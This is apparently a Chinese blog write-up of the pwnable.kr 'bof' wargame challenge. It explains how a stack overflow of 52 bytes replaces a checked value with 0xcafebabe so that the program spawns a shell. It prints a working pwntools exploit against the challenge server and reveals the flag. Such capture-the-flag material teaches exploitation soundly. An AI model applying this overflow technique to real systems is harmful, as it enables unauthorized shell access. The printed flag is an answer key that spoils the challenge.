pwnable.kr第三题:bof

字数 197阅读 217

pwnable.kr

下载

先将bofbof.c下载下来,先检查下 bof开启的保护

是真的吓到,基本能开的都开了,但是转念一想,入门级别没有那么恶心人吧,然后看看源代码

发现,只是要将传入的0xdeadbeef通过栈溢出换成0xcafebabe,而且在程序里面已经有调用system("/bin/sh")的语句,只要替换成功就能调用,那这些保护基本也没什么意义嘛。

gdb调试

继续单步,输入AAAAAAAA,之后x/30x $esp查看栈空间

AASCLL值为41,可以看出,我们要覆盖的地址与输入地址相差52个字节.

Exp

from pwn import *

r = remote('pwnable.kr','9000')

buf = 52 * 'A'
buf += p32(0xcafebabe)

r.sendline(buf)

r.interactive()

运行下

flag =daddy, I just pwned a buFFer :)

推荐阅读更多精彩内容